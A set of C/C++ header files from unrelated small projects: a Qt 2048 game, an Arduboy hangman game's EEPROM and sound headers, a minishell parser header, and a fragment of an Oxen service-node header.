"X-Sender-Public-Key"; // Returned in a HF19+ ping_test to include the remote's pubkey in the response constexpr auto SNODE_PUBKEY_HEADER = "X-Oxen-Snode-Pubkey"; }
dragon-archer/2048
Include/Pch.h
#ifndef _PCH_H #define _PCH_H #include <QApplication> #include <QHeaderView> #include <QKeyEvent> #include <QLabel> #include <QLocale> #include <QMainWindow> #include <QMenuBar> #include <QMessageBox> #include <QStatusBar> #include <QTableWidget> #include <QTranslator> #ifndef NDEBUG #include <QDebug> #endif #include <fstream> #include <random> #include <algorithm> constexpr const char* dataFileName = "2048.dat"; #endif /* _PCH_H */
dragon-archer/2048
Include/Common.h
<reponame>dragon-archer/2048 #ifndef _COMMMON_H #define _COMMMON_H 1 #include <Pch.h> size_t ReadBestScore(const std::string& filename = std::string()); bool WriteBestScore(const std::string& filename, size_t bestScore = 0); #endif /* _COMMON_H */
dragon-archer/2048
Include/MainWindow.h
#ifndef MainWindow_H #define MainWindow_H #include <Pch.h> #include <Common.h> class MainWindow : public QMainWindow { Q_OBJECT public: MainWindow(QWidget *parent = nullptr); ~MainWindow(); void keyPressEvent(QKeyEvent* event); void print(); bool moveUp(); bool moveDown(); bool moveLeft(); bool moveRight(); bool generate(); void setupUi(); void retranslateUi(); private: uint8_t table[4][4]; size_t score; size_t bestScore; QColor color[16]; static std::mt19937 engine; QWidget *CentralWidget; QTableWidget *TableData; QLabel *Label1; QLabel *Label2; QLabel *LabelScore; QLabel *LabelBestScore; QMenuBar *MenuBar; QMenu *MenuFile; QMenu *MenuSettings; QStatusBar *StatusBar; }; #endif // MainWindow_H
serisman/arduboy-hangma
Hangman/EEPROM_Utils.h
<gh_stars>0 #ifndef EEPROM_UTILS_H #define EEPROM_UTILS_H #include <EEPROM.h> #define EEPROM_START (EEPROM_STORAGE_SPACE_START + 72) void EEPROM_saveScore(uint8_t w, uint8_t l) { EEPROM.update(EEPROM_START+2, w); EEPROM.update(EEPROM_START+3, l); } uint8_t EEPROM_getWins() { return EEPROM.read(EEPROM_START+2); } uint8_t EEPROM_getLosses() { return EEPROM.read(EEPROM_START+3); } void EEPROM_init() { uint8_t h1 = EEPROM.read(EEPROM_START+0); uint8_t h2 = EEPROM.read(EEPROM_START+1); if (h1 != 'H' || h2 != 'M') { EEPROM.update(EEPROM_START+0, 'H'); EEPROM.update(EEPROM_START+1, 'M'); EEPROM_saveScore(0, 0); } } #endif
serisman/arduboy-hangma
Hangman/sounds.h
#ifndef SOUNDS_H #define SOUNDS_H const uint16_t soundCorrect[] PROGMEM = {NOTE_F4,100,NOTE_A4,150,TONES_END}; const uint16_t soundWin[] PROGMEM = {NOTE_E4,100,NOTE_F4,100,NOTE_C5,250,TONES_END}; const uint16_t soundIncorrect[] PROGMEM = {NOTE_A4,100,NOTE_F3,150,TONES_END}; const uint16_t soundDead[] PROGMEM = {NOTE_D4,100,NOTE_B3,100,NOTE_E3,100,NOTE_F2,150,TONES_END}; #endif
RamsayBoy/Minishell-C
include/parser.h
#ifndef PARSER_H_INCLUDED #define PARSER_H_INCLUDED typedef struct { char * filename; int argc; char ** argv; } tcommand; typedef struct { int ncommands; tcommand * commands; char * redirect_input; char * redirect_output; char * redirect_error; int background; } tline; extern tline * tokenize(char *str); #endif